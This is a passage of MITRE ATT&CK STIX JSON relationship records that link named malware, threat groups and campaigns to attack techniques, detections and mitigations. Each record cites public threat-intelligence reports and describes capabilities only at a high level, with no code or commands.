2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:04:01.645Z","description":"[metaMain](https://attack.mitre.org/software/S1059) has deleted collected items after uploading the content to its C2 server.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c3c9a7e7-4dbb-487e-b546-7bec3f929b3b","created":"2022-10-05T16:01:01.306Z","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T16:01:01.306Z","description":"During [CostaRicto](https://attack.mitre.org/campaigns/C0004), the threat actors collected data and files from compromised networks.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3ccb220-9cef-4531-91df-d2414eee65be","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may send spearphishing messages via third-party services in an attempt to gain access to victim systems. ","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3cef083-71f7-46ed-85c1-0b44ac24b85e","type":"relationship","created":"2020-12-11T16:17:16.764Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2020-12-11T16:17:16.764Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used various strains of malware to query the Registry.(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3d30e12-d4e1-468d-9142-3e925c38658e","type":"relationship","created":"2020-03-15T16:13:46.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-15T16:13:46.278Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3d3bb7d-65cc-4915-bc28-492d341e6dbd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-20T16:46:50.615Z","description":"[CallMe](https://attack.mitre.org/software/S0077) has the capability to create a reverse shell on victims.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--cb7bcf6f-085f-41db-81ee-4b68481661b5","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c3d73dc3-06f6-422a-9be2-c4eb3ce36fbc","created":"2023-03-17T14:09:48.488Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Nov 2020","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/"},{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:31:58.961Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) encrypted malware such as [DRATzarus](https://attack.mitre.org/software/S0694) with XOR and DLL files with base64.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)(Citation: McAfee Lazarus Jul 2020)(Citation: McAfee Lazarus Nov 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3d9182c-178b-4d8d-91d8-f4d1313738bb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","source_name":"FireEye APT19"},{"url":"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/","description":"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.","source_name":"Unit 42 C0d0so0 Jan 2016"}],"modified":"2019-04-25T11:39:52.117Z","description":"[APT19](https://attack.mitre.org/groups/G0073) collected system architecture information. [APT19](https://attack.mitre.org/groups/G0073) used an HTTP malware variant and a Port 22 malware variant to gather the hostname and CPU information from the victim’s machine.(Citation: FireEye APT19)(Citation: Unit 42 C0d0so0 Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c3dd754d-3e2b-4761-8d21-2e7a52fc6616","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Fin8 May 2016","description":"Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"},{"source_name":"Bitdefender FIN8 July 2021","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:31:34.141Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used remote code execution to download subsequent payloads.(Citation: FireEye Fin8 May 2016)(Citation: Bitdefender FIN8 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3dd85c9-407c-4718-ba17-3c377c544dde","type":"relationship","created":"2019-06-04T19:49:18.249Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.818Z","description":"(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3e022e8-5759-4d38-8536-adaf9e952717","type":"relationship","created":"2020-05-12T21:44:41.016Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-15T18:47:04.430Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) gathered the local proxy, domain, IP, routing tables, mac address, gateway, DNS servers, and DHCP status information from an infected host.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c3e3d9d3-6fd2-43a0-ba72-bf7c259768d5","created":"2022-04-09T15:04:35.511Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) can hide its console window upon execution to decrease its visibility to a victim.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-09T15:04:35.511Z","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3e64d41-3fa0-459f-be6f-a39860e4c05c","type":"relationship","created":"2019-04-23T20:46:57.154Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.","url":"https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/","source_name":"CoinTicker 2019"}],"modified":"2020-03-18T15:57:10.692Z","description":"[CoinTicker](https://attack.mitre.org/software/S0369) executes a bash script to establish a reverse shell.(Citation: CoinTicker 2019)","relationship_type":"uses","source_ref":"malware--d1531eaa-9e17-473e-a680-3298469662c3","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3e7ca65-d0b0-43bd-ae13-047c361f3a79","type":"relationship","created":"2021-09-14T20:47:33.572Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sentinel Labs WastedLocker July 2020","url":"https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/","description":"Walter, J.. (2020, July 23). WastedLocker Ransomware: Abusing ADS and NTFS File Attributes. Retrieved September 14, 2021."}],"modified":"2021-09-14T20:47:33.572Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) has the ability to save and execute files as an alternate data stream (ADS).(Citation: Sentinel Labs WastedLocker July 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3ee174d-fd40-4636-97b2-afe80854f987","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-17T02:37:58.064Z","description":"[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of enumerating and manipulating files and directories.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--9ca488bd-9587-48ef-b923-1743523e63b2","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c3f09021-8932-4433-ad02-a6b7c07b627d","created":"2023-09-28T03:37:04.718Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-28T03:37:04.718Z","description":"Some endpoint security solutions can be configured to block some types of behaviors related to efforts by an adversary to create backups, such as command execution or preventing API calls to backup related services.","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c3ff972a-2515-40a5-ac6d-e4e64f5df8f1","created":"2024-03-06T19:21:18.844Z","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T19:21:18.844Z","description":"[GLASSTOKEN](https://attack.mitre.org/software/S1117) is a web shell capable of tunneling C2 connections and code execution on compromised Ivanti Secure Connect VPNs.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024) ","relationship_type":"uses","source_ref":"malware--554e010d-726b-439d-9a1a-f60fff0cc109","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4014fde-9d6e-4605-a143-36556a280249","created":"2023-02-16T20:13:17.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-20T20:02:15.112Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can use DNS over HTTPS for C2.(Citation: Palo Alto Brute Ratel July 2022)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c403720d-da66-45c4-bb35-93b3b35c87c3","type":"relationship","created":"2020-05-12T21:44:41.012Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-15T18:47:04.393Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) gathered the local privileges for the infected host.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c406dfb3-d860-4895-858d-e3092cabd5bb","type":"relationship","created":"2020-10-27T19:26:38.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T19:26:38.212Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has used Rundll32 to load a malicious DLL.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c407e138-4e68-46e9-b41d-4447a282a1fd","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2019-04-22T22:40:41.247Z","description":"[Proxysvc](https://attack.mitre.org/software/S0238) lists processes running on the system.(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c417561d-d3fa-4aa7-b272-6769b2ada225","type":"relationship","created":"2022-01-18T18:23:22.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}],"modified":"2022-01-20T15:14:16.571Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has attempted to harvest credentials through LSASS memory dumping.(Citation: CrowdStrike AQUATIC PANDA December 2021)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4179f06-f1e8-432c-81db-c88b3a37f0bc","created":"2024-01-05T20:27:05.289Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-05T20:27:05.289Z","description":"[Samurai](https://attack.mitre.org/software/S1099) can query `SOFTWARE\\Microsoft\\.NETFramework\\policy\\v2.0` for discovery.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c420d58d-2a7e-4eef-a12d-d37e4c9fc9b4","type":"relationship","created":"2022-03-16T19:55:22.326Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:55:22.326Z","description":"[PlugX](https://attack.mitre.org/software/S0013) can use RC4 encryption in C2 communications.(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4221728-ce93-438c-93cd-133b6176abee","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T00:10:04.672Z","description":"Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c424814f-ac8b-4e4d-9fd5-d57d193e59a8","created":"2023-12-22T21:50:09.274Z","revoked":false,"external_references":[{"source_name":"SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022","description":"Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.","url":"https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-22T21:50:09.274Z","description":"[HUI Loader](https://attack.mitre.org/software/S1097) can be deployed to targeted systems via legitimate programs that are vulnerable to DLL search order hijacking.(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)","relationship_type":"uses","source_ref":"malware--54089fba-8662-4f37-9a44-6ad25a5f630a","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4252024-1997-4d07-8c48-e2b9d27d4e30","created":"2023-03-26T16:24:27.067Z","revoked":false,"external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:24:27.067Z","description":"During the 